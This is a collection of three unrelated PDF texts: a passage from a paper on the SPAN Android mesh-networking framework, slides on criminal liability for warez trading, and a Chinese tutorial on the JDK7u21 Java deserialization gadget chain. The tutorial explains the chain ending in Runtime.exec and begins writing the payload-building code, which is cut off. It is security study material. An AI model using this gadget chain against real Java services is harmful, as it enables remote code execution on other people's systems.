itself. Aside from resilient information sharing, the SPAN project also allows for “Off Grid” communications. There are times when data should be transferred around a network, but for security, fear of monitoring or other reasons the participants do not wish to utilize either the Internet or the cellular networks. II. TECHNICAL DETAILS A. Leveraging Open Source Projects SPAN is based on the Wireless Tether for Root Users application written by Harald Mueller. The app originally started out as an open source project licensed under GPLv3 but eventually became closed source to prevent profiteers from rebranding and selling it on the Android Market (now Google Play) for personal gain. We leverage much of Harald’s interface design and follow his method for configuring a wireless chip to operate in ad-hoc mode using the iwconfig Linux command line utility. The SPAN project is also somewhat reminiscent of the existing B.A.T.D.R.O.I.D. project which provides a simple management wrapper to start/stop the B.A.T.M.A.N. daemon on your rooted Android handset. The main differentiating factor is the SPAN project allows for arbitrary routing protocols to be used during MANET runtime. This is accomplished by harnessing a generalized architecture implemented as a framework instead of a simple proprietary implementation of a specific protocol. B. Architecture The SPAN architecture is intentionally designed to allow for arbitrary routing protocol use during runtime. This generalized solution will allow for custom routing protocols to be developed and investigated without incurring the overhead of building a complete implementation. The intent is to provide a MANET test bed for protocol developers to experiment with real world behaviors and adapt the implementation as required. Such a framework also allows for the SPAN adaptive framework discussed later in this paper. The framework is injected into the existing Android network stack between OSI layers 2 & 3. Given this network stack is based on the standard BSD implementation, our framework is inherently portable across most platforms, mobile or otherwise. The initial implementation of the framework is designed as such: The injection point of the Global Handset proxy allows the SPAN framework to control all network traffic seamlessly. From the OS and application layer viewpoint the MANET is simply another avenue for network access and its existence is completely hidden. Once the framework is running on the device, no software application or Android OS modifications are necessary. This transparent nature allows for common applications like Twitter or Facebook to simply work, assuming a single node on the overall MANET has bridged the mesh to the outside Internet. C. Ad-Hoc Mode on Android Hardware The Android framework is primarily designed to configure the built-in wireless chip to operate in managed mode (a.k.a. infrastructure mode) and monitor the state of the managed network. In other words, the default behavior of the wireless chip in an Android device is to authenticate with an external access point and act as a client to connect to a pre-existing wireless network. The user can control various options for connecting to a managed network through the wireless and network preferences available through the Settings app. Many Android implementations store network information in a wpa_supplicant.conf file and perform authentication using the wpa_supplicant command line utility, which is the standard Linux approach for connecting to a managed network. An ad-hoc network does not consist of static access points and does away with the need for dedicated devices for managing the network. Instead, each device in an ad-hoc network is capable of intelligently routing packets to other peers in the network. In order to be successful, each device must know about the network topology prior to planning routes (i.e. proactive routing) or capable of learning the network topology on demand to plan a route at the time of packet transmission (i.e. reactive routing). Both approaches have pros and cons, as we will discuss in a later section. The pre-ICS (Ice Cream Sandwich / 4.0) Android framework does not support configuring the built-in wireless chip to operate in any other mode but managed mode. ICS offers support for Wi-Fi Direct, but the ICS implementation of the Wi-Fi Direct specification does not provide a complete ad- hoc network solution, as we will discuss in a later section. In order to configure the wireless chip in ad-hoc mode we dive deeper than the Android framework and work with the wireless chip drivers directly by using the iwconfig Linux command line utility to set the parameters of the wireless interface. In order to use iwconfig the Linux kernel must have support for the Wireless Extensions API. The following table shows which of the devices we used for development have support for the Wireless Extensions API out of the box and which do not: Wireless Extensions Support No Wireless Extensions Support Samsung Nexus S 4G Samsung Galaxy Nexus Samsung Galaxy Tab 10.1 ASUS Eee Pad Transformer Prime Samsung Galaxy S II Epic Touch 4G Motorola Razr Maxx Note that all of the devices which support the Wireless Extensions API use the Broadcom wireless chip, as shown in the following table: Device Wireless Chip Samsung Nexus S 4G Broadcom BCM4329 Samsung Galaxy Tab 10.1 Broadcom BCM4330 Samsung Galaxy S II Epic Touch 4G Broadcom BCM4330 Samsung Galaxy Nexus Broadcom BCM4329 ASUS Eee Pad Transformer Prime AzureWave AW-NH615 (rebranded Broadcom BCM4329) Motorola Razr Maxx Texas Instruments WL1285C iPhone 4S Broadcom BCM4330 Nokia Lumia 900 Broadcom BCM4329 In addition to the devices which support the Wireless Extensions API, we were able to compile support into the Linux kernel for the Samsung Galaxy Nexus and ASUS Eee Pad Transformer Prime. We are very thankful that both Samsung and ASUS have provided their kernel source code to the open source community. Thus, we have had great success with the Broadcom BCM4329 and BCM4330 wireless chipsets in Android devices and strongly believe that it is possible to use the Wireless Extensions API to configure the same wireless chipsets in the iPhone 4S and Nokia Lumia to operate in ad- hoc mode. On the other hand, we have had limited success configuring the Motorola Razr Maxx TI wireless chip to operate in ad-hoc mode using the tiwlan drivers. Motorola has made pieces of the kernel available to the open source community so it may be possible to compile Wireless Extensions support into the Motorola Razr Maxx kernel. D. Gateway There are many reasons why devices in the ad-hoc network may need to reach out to devices on managed network. For example, many useful apps are based on the client-server model and require access to a server hosted on a managed network. In order to “bridge” the ad-hoc network and a managed network a gateway device must be appointed. The gateway device must have one network adapter configured to operate in ad-hoc mode and another network adapter configured to operate in managed mode. Then packets can be forwarded across those two adapters. Specifically, we use the ASUS Eee Pad Transformer Prime for our primary gateway device. By compiling rtl8187 USB driver support into the kernel we are able to use an ALFA AWUS036H wireless USB adapter as a second network interface. We configure the Eee Pad’s internal wireless adapter to operate in managed mode and the ALFA to operate in ad- hoc mode. We then use the iptables command line utility to allow the Eee Pad to masquerade as devices on the ad-hoc network and forward packets across the adapters. Thus, the Eee Pad effectively performs Network Address Translation between the ad-hoc subnet and the managed network. We leverage the behavior of the Settings app and Android framework for configuring the Eee Pad’s internal wireless adapter to operate in managed mode. The user can connect the device to an access point and the device will remain connected to the access point regardless if the ALFA is enabled to operate in ad-hoc mode or not. On the other hand, a non- gateway device will disconnect from a managed network when its internal wireless adapter is configured to operate in ad-hoc mode. Additionally, we have used both the Samsung Galaxy S II Epic Touch 4G and Samsung Galaxy Nexus as gateway devices by forwarding packets between their internal wireless adapter configured to operate in ad-hoc mode and their internal 3G/4G adapter. This allows every other device in the ad-hoc network to access the Internet through the cell service of those devices. Note that many cell service providers do not condone “tethering” of this nature because many cell phone users use it as a way to share one service plan across multiple devices instead of paying for individual service plans. Devices in the ad-hoc network can successfully browse the Internet through the gateway device; however, we have observed that on most devices the Browser app will prompt the user with a dialog stating that no network is available, although after dismissing the dialog the webpage will load without a problem. This is evidence that our approach to setting up the ad-hoc network works at a lower level then the Android framework, which does not recognize the device has a valid Internet connection because the wireless chip is not operating in managed mode. III. FIELD TEST RESULTS A. Effiective Range The initial field tests of the SPAN framework utilized both the OLSRd protocol and a simple implementation of the Dijkstra algorithm for packet routing and the tests were preformed using an array of currently supported devices. It was observed that each MANET node utilizing a Broadcom BCM4329 Wi-Fi chipset could be a maximal distance of 106 feet (32 meters) from its closest neighbor and still maintain MANET connectivity. For devices harnessing the Broadcom BCM4330 chipset, the maximal distance was observed to be 98 feet (29 meters). B. Upper Limits of Simple Multi-Hop Routing The initial testing did not reveal an upper limit on multi-hop communications, allowing a simple chat conversation to traverse a 5 hop network with minimal delay and throughput problems. The SPAN team intends to explore networks of 10 to 25 node traversals later this year. The team expects to discover a maximal limit to multi-hop routing of VoIP data in the range of 10-12 node traversals. C. Node Density Limitations Given the channel-based nature of the 802.11 specifications, the SPAN team expects to discover an upper limit of devices that can exist in the same peer-to-peer MANET enclave. This limit was not reached during our initial test of 30 devices. The team expects to solve the maximum channel utilization limit by creating clusters or enclaves of proximal devices to allow for a scalable network beyond the typical bounds of the specification. IV. ROUTING The single most challenging aspect of implementing a robust and scalable mesh network is the design of the routing protocol. Without centralized servers and standard networking infrastructure to generate optimal paths across the network, the nodes of the mesh themselves must determine how to deliver the data in an efficient manner. The field thus far can be subdivided into two distinct approaches: Proactive and Reactive. Though neither approach can change raw bandwidth both solutions can have a large impact on network throughput. A. Proactive Routing The proactive approach (and its exemplar OLSRd) attempts to mimic standard networking paradigms to predetermine routes and store them prior to use or need. In essence, the algorithm floods the mesh network with hello messages in order to determine topology and routing data. The routes are then stored per device for a specified time and recreated once the temporal bound has expired. While this approach ensures the network is responsive to packet transfers at runtime, functionality is provided with a high cost. The proactive paradigm can easily saturate the mesh network with route discovery packets, building possibly unused and unneeded routes at the cost of actual data transfer. In addition, the highly mobile nature of mesh networks can alter the physical topology prior to the expiration of the stored routes. This issue forces the protocol to generate new routes dynamically after the stored paths have been discarded. B. Reactive Routing Reactive protocols await an actual need for a network traversal path prior to exploring the mesh for a route. This ensures the network remains uncluttered with possibly unnecessary hello packets. The inherent downside to this approach is a sluggish behavior visible to the end user when trying to utilize any new node on the network. Given the lack of exploratory traffic, pure reactive networks also have known issues with determining exactly what nodes are available for potential use. This problem becomes apparent when you consider issues with DHCP or other network identification mechanisms. C. New Routing Paradigms B.A.T.M.A.N. (The Better Approach To Mobile Adhoc Networking) is a routing protocol currently under development by the Freifunk Community and is intended to replace OLSRd. B.A.T.M.A.N.'s main differentiating design aspect is the concept of route knowledge decentralization. The paradigm attempts to ensure no single node needlessly collects all the routing data in the network. Instead each individual node only saves information about the “direction” it received data from prior to packet forwarding. As the data gets passed on from node to node around the mesh, packets get individual dynamically created routes based on current network topology. In essence, a network of collective routing intelligence is created and dynamically harnessed at runtime. D. Sensory Intelligence In future versions of the SPAN framework, the team will provide reference implementations for routing protocols based on smart phone sensor data. The team expects vast improvements in mesh network stability and speed when harnessing location, speed and vector of movement information into the packet headers of exploratory packets. Nodes will be cognizant of neighbor node mobility when selecting potential routes. Aside from movement-based information, the SPAN team will explore battery and power consumption leveling across the mesh in the near future. In this paradigm, the routing protocol will prioritize next hop nodes based on available battery level and charging state of the device. E. Self Evolving Algorithms During the next 12 months, the SPAN team will explore an automated adaptive routing protocol. The protocol will preform self-analysis during runtime and adjust the routing fingerprint based on current use of the network. Simply put, the protocol will attempt to automatically adjust battery leveling, network throughput and bandwidth based on how the network itself is being utilized by the participants at any given time. An optimal solution for a sparsely populated network attempting to pass VoIP packets will be drastically different than the solution for a highly dense, large network passing simple text data V. SECURITY While far from a complete solution, the SPAN team has generated a basic design for mesh network security. Each node on the mesh will have a shared key for initial network exploration. This key will be either prepackaged into the mesh client or transferred to the device by Bluetooth / NFC when joining the network. Once the node has joined the network, it will share its own public key with any node requesting communication. Once keys have been transferred, the network will harness the standard encryption scheme for secure client /server based communications. The network will also support the expected collection of VPN tunnels, WEP & WPA. Apart from data protection, the SPAN team is cognizant of DDOS issues with the OLSRd protocol. Given the protocol itself can saturate the network with hello packets during normal operation, it is not beyond comprehension that a malicious attack could do the same. Our modifications to the OLSRd protocol should, at a minimum, limit such disturbances to a localized enclave of the mesh. VI. CONCLUSIONS AND FUTURE WORK The SPAN team expects to continue refining the framework and developing routing protocols in the near term. We expect to harden our security posture both for network and data protection. Please contact the SPAN team if you have any questions, comments or concerns. Also, please contact us if you use the framework and have interesting stories to tell.
pdf
Warez Trading and Criminal Copyright Infringement Eric Goldman Marquette University Law School [email protected] http://eric_goldman.tripod.com Overview Definition of warez trading Applicable criminal laws Some prosecutions Some policy concerns The bottom line:  Warez trading has been criminalized  More warez traders will be sent to jail What is Warez Trading? Warez trading vs. commercial piracy Different types of warez traders  Warez distribution groups  Warez collectors  Warez downloaders  Abandonware enthusiasts Criminal © Infringement Willful copyright infringement committed:  for commercial advantage or private financial gain, or  by reproducing or distributing, in any 180- day period, works with a total retail value over $1,000 Punishment can be up to 5 years in prison and $250,000 fine Prosecution Elements (1) Valid copyright exists Infringement  Uploading, downloading, distribution  Evidentiary challenges  First sale doctrine  Fair use  Nature of the use  Nature of the work  Amount taken  Effect on the market Prosecution Elements (2) Willfulness  Minority view: intent to copy  Majority view: “voluntary, intentional violation of a known legal duty”  Good faith but incorrect belief of non- infringement  Good faith but incorrect belief of fair use  Ignorance of the law Prosecution Elements (3) Commercial advantage/financial gain  Financial gain: “receipt, or expectation of receipt, of anything of value, including the receipt of other copyrighted works” Retail value  $2,500 for felony, $1,000 for misdemeanor  Price of warez v. manufacturer’s list price Other Criminal Laws Circumvention  Circumventing  Trafficking in circumvention devices Hacking/Trespass  Unauthorized access to obtain information  Unauthorized access and causing damage Theft Trade Secret Misappropriation Copyright Management Information Integrity Prosecutions Classes of defendants  Distribution groups (Fastlane, PWA, DOD, RWZ)  Individual traders (Levy, Thornton, Baltutat, Fitzgerald)  Movie traders (Spatafore, Gonzalez) 100% conviction rate (so far) Almost all defendants plead guilty  2 jury trials, both lost At least 19 defendants have received jail time  High: 46 months  Average: 25 months Policy Concerns Warez traders’ contribution to piracy is substantially overstated  Counting copies substantially distorts “lost sales” Criminalizing warez trading may have counterproductive motivational effects Congress has criminalized many Americans, not just warez trading  Is P2P file sharing for “financial gain”?  $5.56/day of infringement Predictions Congress wants people to respect the law  If a law doesn’t work, make it meaner  But we do not respect unjust laws Congress wants more scalps  The double-edge sword of busting P2P file sharers  Meanwhile, warez traders make great targets  Congress hates warez traders  Industry hates warez traders  The average person can distinguish their conduct from warez trading Net Effect: More warez traders will be jailed
pdf
JDK 7u21分析 0x01 写在前⾯ JDK7u21原⽣gadget链的构造⼗分经典,在对于其构造及思想学习后,写下本⽂作为笔记。 0x02 所需的知识点 JDK7u21这个链⽤了很多的Java基础知识点,主要如下: Java 反射 javassist 动态修改类 Java 静态类加载 Java 动态代理 hash碰撞 为了⽅便⼤家理解此⽂,因此我会对这些知识点进⾏简单介绍,如果都了解的朋友可以直接 翻到后⾯的分析过程。 0x03 基础知识 1、Java 反射 反射 (Reflection) 是 Java 的特征之⼀,在C/C++中是没有反射的,反射的存在使得运⾏中的 Java 程序能够获取⾃身的信息,并且可以操作类或对象的内部属性。那么什么是反射呢? 对此, Oracle 官⽅有着相关解释: “Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.” (反射使Java代码能够发现有关已加载类的字段、⽅法和构造函数的信息,并在安全限 制内使⽤反射的字段、⽅法和构造函数对其底层对应的对象进⾏操作。) 简单来说,通过反射,我们可以在运⾏时获得程序或程序集中每⼀个类型的成员和成员的信 息。同样的,JAVA的反射机制也是如此,在运⾏状态中,通过 Java 的反射机制,对于任意⼀ 个类,我们都能够判断⼀个对象所属的类;对于任意⼀个类,都能够知道这个类的所有属性 和⽅法;对于任意⼀个对象,都能够调⽤它的任意⼀个⽅法和属性;这种动态获取的信息以 及动态调⽤对象的⽅法的功能称为Java语⾔的反射机制。 既然利⽤Java的反射机制,我们可以⽆视类⽅法、变量访问权限修饰符,可以调⽤任何类的任 意⽅法、访问并修改成员变量值,那么这可能导致安全问题,如果⼀个攻击者能够通过应⽤ 程序创建意外的控制流路径,那么就有可能绕过安全检查发起相关攻击。假设有段代码如 下: 存在⼀个字段为name,当获取⽤户请求的name字段后进⾏判断,如果请求的是 Delect 操 作,则执⾏DelectCommand 函数,若执⾏的是 Add 操作,则执⾏ AddCommand 函数,如 果不是这两种操作,则执⾏其他代码。 此时,假如有位开发者看到了这段代码,他觉得可以使⽤Java 的反射来重构此代码以减少代 码⾏,如下所示: String name = request.getParameter("name"); Command command = null; if (name.equals("Delect")) { command = new DelectCommand(); } else if (ctl.equals("Add")) { command = new AddCommand(); } else { ... } command.doAction(request); 1 2 3 4 5 6 7 8 9 10 String name = request.getParameter("name"); Class ComandClass = Class.forName(name + "Command"); Command command = (Command) CommandClass.newInstance(); command.doAction(request); 1 2 3 4 这样的重构看起来使得代码⾏减少,消除了if/else块,⽽且可以在不修改命令分派器的情况下 添加新的命令类型,但是如果没有对传⼊进来的name字段进⾏限制,那么我们就能实例化实 现Command接⼝的任何对象,从⽽导致安全问题。实际上,攻击者甚⾄不局限于本例中的 Command接⼝对象,⽽是使⽤任何其他对象来实现,如调⽤系统中任何对象的默认构造函 数,再如调⽤Runtime对象去执⾏系统命令,这就可能导致远程命令执⾏漏洞。 更多关于反射的内容具体可以参考我以前写的这篇⽂章:https://www.cnpanda.net/codeaudi t/705.html 2、javassist 动态修改类 Javaassist 就是⼀个⽤来处理 Java 字节码的类库,其主要优点在于简单、便捷。⽤户不需要了 解虚拟机指令,就可以直接使⽤Java编码的形式,并且可以动态改变类的结构,或者动态⽣成 类。 Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这⼏个类。 ClassPool:⼀个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类 的CtClass对象。默认的ClassPool使⽤与底层JVM相同的类路径,因此在某些情况下,可能 需要向ClassPool添加类路径或类字节。 CtClass:表示⼀个类,这些 CtClass 对象可以从ClassPool获得。 CtMethods:表示类中的⽅法。 CtFields :表示类中的字段。 Javassit官⽅⽂档中给出的代码示例如下 ⾸先获取 ClassPool 的实例,ClassPool 主要⽤来修改字节码,并且在 ClassPool 中存储着 CtClass 对象,它能够按需创建出 CtClass 对象并提供给后续处理流程使⽤,当需要进⾏类 修改操作的时候,可以通过 ClassPool 实例的.get()⽅法,获取CtClass对象。如在上述代码 中就是从 pool 中利⽤ get ⽅法获取到了 test.Rectangle 对象,然后将获取到的 CtClass 对象赋值给cc变量。 需要注意的是,从 ClassPool 中获取的 CtClass 对象,是可以被修改的。如在上述代码 中,可以看到,原先的⽗类,由 test.Rectangle 被改成了 test.Point 。这种更改可以 通过调⽤ CtClass().writeFile() 将其持久化到⽂件中。 可以举个实例来看看,如下代码: 运⾏后,就会⽣成名为 Test.class 的⽂件,如下图所示: 实际上如果反编译该 class ⽂件,可以得到以下内容: 这就是动态修改类的⼀些知识了。 import javassist.*; public class TestJavassist { public static void createPseson() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cls = pool.makeClass("Test"); CtField param = new CtField(pool.get("java.lang.String"), "test", cls); param.setModifiers(Modifier.PRIVATE); cls.addField(param, CtField.Initializer.constant("whoami")); CtConstructor cons = new CtConstructor(new CtClass[]{}, cls); cons.setBody("{test = \"whoami\";}"); cls.addConstructor(cons); cls.writeFile("./"); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class Test{ private String test = "test"; public Test(){ this.test = "whoami"; } } 1 2 3 4 5 6 更具体的可以参考这位⽼哥写的⽂章:https://www.cnblogs.com/scy251147/p/11100961 .html 3、Java 静态类加载 java 静态类加载属于类加载的⼀种,类加载即是指 JVM 虚拟机把 .class ⽂件中类信息加载 进内存,并进⾏解析⽣成对应的 class 对象的过程,举个通俗点的例⼦来说,JVM在执⾏某 段代码时,遇到了class A, 然⽽此时内存中并没有class A 的相关信息,于是 JVM 就会到相 应的 class ⽂件中去寻 找class A的类信息,并加载进内存中,这就是我们所说的类加载过 程。 由此可⻅,JVM不是⼀开始就把所有的类都加载进内存中,⽽是只有第⼀次遇到某个需要运 ⾏的类时才会加载,且只加载⼀次。 类加载的过程主要分为三个部分:加载、链接、初始化,⽽链接⼜可以细分为三个⼩部分: 验证、准备、解析。 在加载阶段,JVM 将 class ⽂件字节码内容通过类加载器加载到内存中,并将这些静态数据转 换成⽅法区的运⾏时数据结构,然后⽣成⼀个代表这个类的 java.lang.Class 对象;在链接阶 段,主要是将 Java 类的⼆进制代码合并到 JVM 的运⾏状态之中,在初始化阶段,主要是对类 变量初始化,是执⾏类构造器的过程。换句话说,只对static修饰的变量或语句进⾏初始化。 如果初始化⼀个类的时候,其⽗类尚未初始化,则优先初始化其⽗类。如果同时包含多个静 态变量和静态代码块,则按照⾃上⽽下的顺序依次执⾏。java 静态类加载就是在这个阶段执 ⾏的,也就是说 java 静态类加载早于其他类加载。 那么什么时候会发⽣类初始化呢? 主要是类的主动引⽤(⼀定会发⽣类的初始化),类的主动引⽤主要指以下情形: 虚拟机启动时,先初始化 main ⽅法所在的类 new ⼀个类的对象 调⽤类的静态成员(除了 final 常量)和静态⽅法 使⽤ java.lang.refect 包的⽅法对类进⾏反射调⽤ 当初始化⼀个类,如果其⽗类没有被初始化,那么会初始化他的⽗类 关于类加载,可以参考这个【 Class.forName() 与 ClassLoader.loadClass() - 哪个⽤于 动态加载?】:https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-l oadclass-which-to-use-for-dynamic-loading/8100407#8100407 很有趣的⼀个讨论 4、Java 动态代理 代理是 Java中的⼀种设计模式,主要⽤于提供对⽬标对象另外的访问⽅式。即是通过代理对 象访问⽬标对象。这样⼀来,就可以在⽬标对象实现的基础上,加强额外的功能操作,起到 扩展⽬标对象的功能。 举个例⼦来说,我们想买⼀款国外的产品,但是我们⾃⼰不想出国,那么就可以通过代购的 ⽅式来获取该产品。代理模式的关键点在于代理对象和⽬标对象,代理对象是对⽬标对象的 扩展,并且代理对象会调⽤⽬标对象。 来谈动态代理前可以理解以下静态代理。 所谓静态代理,就像其名字⼀样,当确定了代理对象和被代理对象后,⽆法再去代理另⼀个 对象,⽐如在⽣活中,我们找⼀个专⻔负责代购⼝红的代购⼈员让其代购⼝红,但是如果想 要让其代购笔记本电脑,那么其就⽆法实现这⼀要求,因此我们就需要寻找另外⼀个专⻔负 责代购笔记本电脑的⼈员,同理,在 Java 静态代理中,如果我们想要实现另⼀个代理,就需 要重新写⼀个代理对象,如下图所示的就是这个原理: 总的来说,在静态代理中,代理类和被代理的类实现了同样的接⼝,代理类同时持有被代理 类的引⽤,这样,当我们需要调⽤被代理类的⽅法时,可以通过调⽤代理类的⽅法来实现, 下图所示,就是静态代理实现的示意图。 静态代理的优势很明显,可以让开发⼈员在不修改已有代码的前提下,去完成⼀些增强功 能的需求,但是静态代理的缺点也很明显,静态代理的使⽤会由于代理对象要实现与⽬标对 象⼀致的接⼝,会产⽣过多的代理类,造成冗余;其次,⼤量使⽤静态代理会使项⽬不易维 护,⼀旦接⼝增加⽅法,⽬标对象与代理对象都要进⾏修改。基于这两点,有了动态代理, 动态代理的优势在于可以很⽅便的对代理类的函数进⾏统⼀的处理,⽽不⽤修改每个代理类 中的⽅法。那对于我们信息安全⼈员来说,动态代理意味着什么呢?实际上,Java 中的“动 态”也就意味着使⽤了反射,因此动态代理其实是基于反射机制的⼀种代理模式。 如上图,动态代理和静态代理不同的点在于,动态代理可能有不同的需求(⽤户),通过动 态代理,可以实现多个需求。动态代理其实就是通过实现接⼝的⽅式来实现代理,具体来 说,动态代理是通过 Proxy 类创建代理对象,然后将接⼝⽅法“代理”给 InvocationHandler 接 ⼝完成的。 动态代理的关键有两个,即上⽂中提到的 Proxy 类以及 InvocationHandler 接⼝,这是我们实 现动态代理的核⼼。 Proxy 类 在JDK中,Java提供了 java.lang.reflect.InvocationHandler 接⼝和 java.lang.reflec t.Proxy 类,这两个类相互配合,其中Proxy类是⼊⼝。Proxy类是⽤来创建⼀个代理对象的 类,它提供了很多⽅法,如: static InvocationHandler getInvocationHandler(Object proxy) 这个⽅法主要⽤于获取指定代理对象所关联的调⽤程序 static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) 该⽅法主要⽤于返回指定接⼝的代理类 static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) 该⽅法主要返回⼀个指定接⼝的代理类实例,该接⼝可以将⽅法调⽤指派到指定的调⽤处理 程序。 static boolean isProxyClass(Class<?> cl) 当且仅当指定的类通过 getProxyClass ⽅法或 newProxyInstance ⽅法动态⽣成为代理 类时,返回 true。这个⽅法的可靠性对于使⽤它做出安全决策⽽⾔⾮常重要,所以此⽅法的 实现不应仅测试相关的类是否可以扩展 Proxy。 在上述⽅法中,我们最常⽤的是 newProxyInstance ⽅法,这个⽅法的作⽤是创建⼀个代理 类对象,它接收三个参数,loader、interfaces以及h,各个参数含义如下: loader:这是⼀个classloader对象,定义了由哪个classloader对象对⽣成的代理类进⾏加载。 interfaces:代理类要实现的接⼝列表,表示我们将要给我们的代理对象提供⼀组什么样的接 ⼝,如果我们提供了这样⼀个接⼝对象数组,那么也就是声明了代理类实现了这些接⼝,代 理类就可以调⽤接⼝中声明的所有⽅法。 h:指派⽅法调⽤的调⽤处理程序,是⼀个InvocationHandler对象,表示的是当动态代理对象 调⽤⽅法的时候会关联到哪⼀个InvocationHandler对象上,并最终由其调⽤。 InvocationHandler 接⼝ java.lang.reflect InvocationHandler ,主要⽅法为 Object invoke(Object proxy, M ethod method, Object[] args) ,这个⽅法定义了代理对象调⽤⽅法时希望执⾏的动作, ⽤于集中处理在动态代理类对象上的⽅法调⽤。Invoke 有三个参数,各个参数含义如下: proxy:在其上调⽤⽅法的代理实例 method:对应于在代理实例上调⽤的接⼝⽅法的 Method 实例。 Method 对象的声明类将是 在其中声明⽅法的接⼝,该接⼝可以是代理类赖以继承⽅法的代理接⼝的超接⼝。 args:包含传⼊代理实例上⽅法调⽤的参数值的对象数组,如果接⼝⽅法不使⽤参数,则为 null。基本类型的参数被包装在适当基本包装器类(如 java.lang.Integer 或 java.lang. Boolean )的实例中。 以下代码就是⼀个简单的动态代理的实例: package main.java.com.ms08067.dtProxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class dtProxyDemo { } interface Speaker{ public void speak(); } class xiaoMing implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 } } class xiaoHua implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); } } class LawyerProxy implements InvocationHandler { Object obj; public LawyerProxy(Object obj){ this.obj = obj; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if(method.getName().equals("speak")){ System.out.println("有什么可以帮助你的"); method.invoke(obj,args); System.out.println("根据 XXXX 法律,应该 XXXX"); } return null; } } class gov{ public static void main(String[] args) { xiaoMing xiaoMing = new xiaoMing(); xiaoHua xiaoHua = new xiaoHua(); LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing); LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua); Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[] {Speaker.class},xiaoMing_lawyerProxy); xiaoMingSpeaker.speak(); System.out.println("*********************"); Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[] {Speaker.class},xiaoHua_lawyerProxy); xiaoHuaSpeaker.speak(); } } 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 以上代码就是使⽤动态代理的⽅式,当为某个类或接⼝指定 InvocationHandler 对象时 (如: LawyerProxy ),那么在调⽤该类或接⼝⽅法时,就会去调⽤指定 handler 的 invok e() ⽅法(37⾏)。 运⾏结果如下图所示: 5、hash碰撞 所谓的 hash 碰撞是指两个不同的字符串计算得到的 Hash 值相同。 如在国外社区上就有⼈给出了以下计算 hash 值为 0 的代码: public class hashtest { public static void main(String[] args){ long i = 0; loop: while(true){ String s = Long.toHexString(i); if(s.hashCode() == 0){ System.out.println("Found: '"+s+"'"); // break loop; } if(i % 1000000==0){ 1 2 3 4 5 6 7 8 9 10 11 12 运⾏后会得到 hash 值为 0 的字符串,如下图所示: 0x04 jdk7u21 payload 整个gadget链: // System.out.println("checked: "+i); } i++; } } } 13 14 15 16 17 18 Found: 'f5a5a608' Found: '38aeaf9a6' Found: '4b463c929' Found: '6d49bc466' Found: '771ffcd3a' Found: '792e22588' Found: '84f7f1613' Found: '857ed38ce' Found: '9da576938' Found: 'a84356f1b' 1 2 3 4 5 6 7 8 9 10 终点(要达到的⽬标):Runtime.exec() || TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() || AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() || Proxy(Templates).equals() || Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) || LinkedHashSet.add() || 起点(要读取的内容): LinkedHashSet.readObject() 19 20 21 22 23 24 25 package src.main.java; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashSet; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; class Reflections { public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 field.set(obj, value); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } } class ClassFiles { public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new 